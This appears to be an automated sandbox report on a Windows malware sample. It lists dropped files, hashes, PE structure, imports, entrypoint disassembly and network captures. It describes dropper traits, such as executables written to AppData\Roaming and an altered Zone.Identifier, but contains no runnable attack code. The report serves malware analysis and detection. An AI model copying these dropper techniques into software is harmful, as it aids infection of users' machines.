Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...Q..0......2...(p...~Z.}'.>I%O...V!s..................../...`.<..`.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\topbar_floating_button_close.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	252
Entropy (8bit):	6.512071394066515
Encrypted:	false
SSDEEP:	6:6v/lhPKM4nDsp7q1hKVlomsj9rxKNgtmN0VZ+GFYep:6v/7iMXVq1ylxemNgtmKVnYM
MD5:	0599DFD9107C7647F27E69331B0A7D75
SHA1:	3198C0A5F34DB67F91A0035DBC297354CBC95525
SHA-256:	131817CD9311C03DF22D769DD2AD7FA2E6E9558863A89F7E5E1657424031A937
SHA-512:	0076ACB9D6A886BD987876E49495038F9388B292A9EFE5C9093CCA64CA3692E3A5D24E35172C7697F6AAE34B86CA217EE59C003423E46D9499BD27EC7D77A649
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...... ..Pp.X....H...b@...\|.^LC_.E.BP+......X.P..........q..~..p/. ..s.....%D^...$......@.!...<...).?.4{.k.G3...4..[cH..0..l.8.!r..m.R..{..........`.f...#.x.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\topbar_floating_button_hover.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.423186859407619
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEHxrPLyN+ltNPhv/l2up:6v/lhPKM4nDspnAkZHVtERrPLygltNPn
MD5:	7CB6B9DC1A30F63B8BD976924B75AD96
SHA1:	0C40B0C496D2F2B5F2021C117EC8610AC03AB469
SHA-256:	721B7AAA9A42A54A349881615A12E3A26983ACA48E173FD2F66E66AA0D725735
SHA-512:	4764937364E355956B242B84010AC56102536D2AACBE4227F0E88E4DE7AB468571957EA6C33012539156E5349AE4F777115615AE3361F60ADDF9CD227424F76A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B.z.s...*.....$.<u..[...................h.......C.CA).....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\topbar_floating_button_maximize.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	166
Entropy (8bit):	5.8155898293424775
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZttd//HmnFz1P/ZjXlUTqyCIc30ItK1p:6v/lhPKM4nDsptF/HOP/ZjXlUeyCo/p
MD5:	232CE72808B60CBE0F4FA788A76523DF
SHA1:	721A9C98C835D2CD734153BBE07833C6637ECD68
SHA-256:	AFA4EA944CBDEC8543242E627EF46D5BFD3766DCAC664E7E50CDEEF2B352740C
SHA-512:	4048EEA5A78DD569521C488C4CE4F7B77AC0454C92EE9107A81A1B3AF91A4EE036039AC1A0A6B8DD26B12E7F1595DB80B7FAA7B6A25D9032BF385528A81A8654
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...HIDATx......0.CQS.......~..."..........m.v+Sq....<!...M8m...'...@$..0....E........IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\topbar_floating_button_pressed.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.46068685940762
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEXIyN+ltN1/lsg1p:6v/lhPKM4nDspnAkZHVtEZgltN1eup
MD5:	E0862317407F2D54C85E12945799413B
SHA1:	FA557F8F761A04C41C9A4BA81994E43C6C275DBB
SHA-256:	5C10CE0589EB115600F77381130B70AE0B7B3752614D86D4C89E857658AA222B
SHA-512:	07CB69327961FD0019BEF8EF7590B5524905AC373A815F73F6D9E0B26840929F919A96CAA977D4B5656704DACD0F352D568FB3997F80EE6BB94C95B58839DBFE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B..@wu...*.....$.<u..[...................h.........M..x(....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\manifest.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1322
Entropy (8bit):	5.449026004350873
Encrypted:	false
SSDEEP:	24:1HEis7ViC/yox/fiqeUoLFlmF1s80FKrGfd0d3NZNZx1Fq7eY7nfj1B:WL7V2opiV1mvs8rxTZRczhB
MD5:	01334FB9D092AF2AA46C4185E405C627
SHA1:	47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796
SHA-256:	F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27
SHA-512:	888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548F
Malicious:	false
Reputation:	unknown
Preview:	{.. "app": {.. "background": {.. "scripts": [ "craw_background.js" ].. }.. },.. "default_locale": "en",.. "description": "__MSG_APP_DESCRIPTION__",.. "display_in_launcher": false,.. "display_in_new_tab_page": false,.. "icons": {.. "128": "images/icon_128.png",.. "16": "images/icon_16.png".. },.. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJFcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",.. "manifest_version": 2,.. "minimum_chrome_version": "29",.. "name": "__MSG_APP_NAME__",.. "oauth2": {.. "auto_approve": true,.. "client_id": "203784468217.apps.googleusercontent.com",.. "scopes": [ "https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.googleapis.com/auth/chromewebstore.readonly" ].. },.

C:\Users\user\AppData\Roaming\bhhudtb Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fehudtb Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gbhudtb Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346624
Entropy (8bit):	6.008556977987189
Encrypted:	false
SSDEEP:	3072:rwrBNjy106UX1gBXf8fVzu3kkGwSQ46yyZ4AX/cpM0p2a4sqOD06zWusdImyJLiT:0VT1fVzBnKyyH/cKy4sqOIwyy
MD5:	A0BC297D8EAAD37F1B145D108786E993
SHA1:	AC6858536F64EC7113F1CD10B248430DA8510DB8
SHA-256:	B06B803C1A654849E7B0310B0B590CA574568AB9EBA41858E8CAAFF5DBBEACBA
SHA-512:	8C18514C5D43497B5711131B0328CBF7C6ECD51F04A60F421175786C7431B999E30BD5B16FE9345C38FD3E0C26A682A611602A1B2FE657488485246B3BA3B541
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p..... .............@...........................t......J..........................................d....`s..<....................s.....0...................................@............................................text............................... ..`.data....io.........................@....pale........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$...&..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gbhudtb:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\gcbvbjh Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	337526
Entropy (8bit):	7.99942434948858
Encrypted:	true
SSDEEP:	6144:ymSbBoUuBKotHrVvtNG44UsaK23kjHbX9iZ3enQGJRXQ6ZMjpc7F8rWVzOb:ymooRrTNGlVfNM3MQGPvMj88+zO
MD5:	33017F78CCCB55BC74C97E285D2C6998
SHA1:	37870F806B0DC2B33BFA345BC7DF396CE86AAD55
SHA-256:	88E52A7CDF8EFB71C58CB4959021A899BBC0F5B53065C0C3119F6907FAC2529C
SHA-512:	DA083304B58B33EE8C1517FC3E4062DAB9136B396E6261C968E464D1DDACB9F0224ED73B9A7F23B5CA8DB6B17F27343B81A2BC27A7510BA6C51DB4624FFAB012
Malicious:	false
Reputation:	unknown
Preview:	......Vw'...Y...E1Yy..k/.X!5.....E..m....I..P.UWo.8V..\...P.~..ad.^..U.2.\|...\.....G.A.....4.Ou=.n. ..9B.v.......,....`.....D?...$...!.9..../..d..@bQ.xh:.>.-..N....` ......9ps..`..u.D....d...bRP.n:.\|...U.n..rH.G..p$.5..'.......Ou\.6.r.!b.<7.f...g#......xC.Z....C.~...."L......:.....].E....9...6.5.....i.FS...l.\|.&.e...j.SY......J.J...]...`Ck~X...p.....d..C.{...S.f.=..Y.w.x..r.9.q.....X.t.E&e.+.D..6......-.....-\|.a........\|q-...K.....5..\...tz.,.....D"n.%,....p...C.....y.;.V`.SV8...+..j&:[.g..A...h;.l..g.3,....>.@x..L }g0...o....^VMM..IMy9/*.[.q.dA9..Xn....h.N.!..#......C..l...............s.c..c.....k.9......G>..Je...r..[f..`.g.IjJ.J..;.<QO.q."#N.....a....]..T.....@..S.c.Z?.$b.+.d.....Uq....Y....qh.7..nGJ...6!../.X..J..,-l..=.e.\|3i......_....{.c...3.(S...,....r../.....x.o.KD..............B.I..^:..[(..`V3Sj.....2$O"7Ny....F..2.3....\|\.S...K...{.....k@-..P..0.W..l..M...K{.....Q..KK.....u.'.a..&&Fx..T.D_.d.kw.o#...>6l..I^..Iq..l;.$.L..D,.~...9.B&.q.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.008556977987189
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Md0q201V1D.exe
File size:	346624
MD5:	a0bc297d8eaad37f1b145d108786e993
SHA1:	ac6858536f64ec7113f1cd10b248430da8510db8
SHA256:	b06b803c1a654849e7b0310b0b590ca574568ab9eba41858e8caaff5dbbeacba
SHA512:	8c18514c5d43497b5711131b0328cbf7c6ecd51f04a60f421175786c7431b999e30bd5b16fe9345c38fd3e0c26a682a611602a1b2fe657488485246b3ba3b541
SSDEEP:	3072:rwrBNjy106UX1gBXf8fVzu3kkGwSQ46yyZ4AX/cpM0p2a4sqOD06zWusdImyJLiT:0VT1fVzBnKyyH/cKy4sqOIwyy
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m..2m...m...m...m..3mq..m...m...m...m...m..6m...m...m...m...m...mRich...m................PE..L......_...........

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41cb20
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5FA116E2 [Tue Nov 3 08:37:54 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e522cb867082e04c7a4b61561f8516ce

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FAB6473E7EBh
call 00007FAB64739636h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043C9B0h
push 00421A40h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E494h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401070h]
cmp dword ptr [02B339C4h], 00000000h
jne 00007FAB64739630h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [004010FCh]
call 00007FAB647397B3h
mov dword ptr [ebp-6Ch], eax
call 00007FAB64741A9Bh
test eax, eax
jne 00007FAB6473962Ch
push 0000001Ch
call 00007FAB64739770h
add esp, 04h
call 00007FAB647413F8h
test eax, eax
jne 00007FAB6473962Ch
push 00000010h
call 00007FAB6473975Dh
add esp, 04h
push 00000001h
call 00007FAB64741343h
add esp, 04h
call 00007FAB6473F15Bh
mov dword ptr [ebp-04h], 00000000h
call 00007FAB6473DB3Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cfe4	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2736000	0x3c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x273a000	0x1b90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bfa0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3cb18	0x3cc00	False	0.598652906379	data	6.98974133443	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x26f69c8	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pale	0x2735000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2736000	0x3c00	0x3c00	False	0.746940104167	data	6.42028876467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x273a000	0x123f0	0x12400	False	0.0812553510274	data	1.05090954457	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2736240	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27387e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x27399d0	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2739a48	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2739920	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27398b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2739890	0x22	data	Spanish	Paraguay
None	0x27399c0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x27399b0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetDriveTypeW, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, FindFirstFileExW, LockFile, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, CopyFileW, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, TlsGetValue, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, WriteProfileSectionA, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, SetSystemTime, GetModuleFileNameA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, CompareStringA, GetConsoleCursorInfo, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, SetStdHandle, GetLastError, GetConsoleAliasesLengthW, FlushFileBuffers, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapValidate, TlsSetValue, TlsFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, LoadLibraryW, RtlUnwind, RaiseException, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, LCMapStringW, MultiByteToWideChar, GetStringTypeW, CreateFileW
USER32.dll	GetMenuInfo
GDI32.dll	GetBitmapBits
WINHTTP.dll	WinHttpReadData

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 14:08:51.100342035 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.100454092 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.103466034 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.103553057 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.103971004 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.104809999 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.104837894 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.109190941 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.109859943 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.109889984 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.113672018 CEST	443	49726	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.113704920 CEST	443	49726	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.113754034 CEST	49726	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.113759041 CEST	443	49726	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.113780975 CEST	49726	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.113785982 CEST	443	49726	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.113828897 CEST	49726	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.113846064 CEST	49726	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.133817911 CEST	49726	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.133856058 CEST	443	49726	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.134253025 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.134274960 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.134308100 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.134351969 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.134393930 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.134413004 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.134495974 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.137830973 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.137876987 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.137945890 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.137962103 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.137984991 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.138011932 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.175230980 CEST	49727	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.175271988 CEST	443	49727	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.194941044 CEST	49728	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.194991112 CEST	443	49728	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.502331018 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.502394915 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.502491951 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.502819061 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.502841949 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.537333012 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.537538052 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.540394068 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.541007996 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.541039944 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.571634054 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.571659088 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.571698904 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.571820974 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.575550079 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.575575113 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.575692892 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.578891993 CEST	49729	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.578917980 CEST	443	49729	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.651262999 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.651331902 CEST	443	49731	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.651452065 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.651649952 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.651667118 CEST	443	49731	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.664989948 CEST	49732	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.665050030 CEST	443	49732	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.665215015 CEST	49732	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.666805029 CEST	49732	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.666832924 CEST	443	49732	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.686347008 CEST	443	49731	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.686470032 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.698685884 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.699249029 CEST	49731	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.699281931 CEST	443	49731	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.701167107 CEST	49733	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.701222897 CEST	443	49733	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.701373100 CEST	49733	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.704227924 CEST	443	49732	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.704361916 CEST	49732	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.705548048 CEST	49733	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:51.705575943 CEST	443	49733	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:51.705866098 CEST	49732	443	192.168.2.3	23.211.6.115
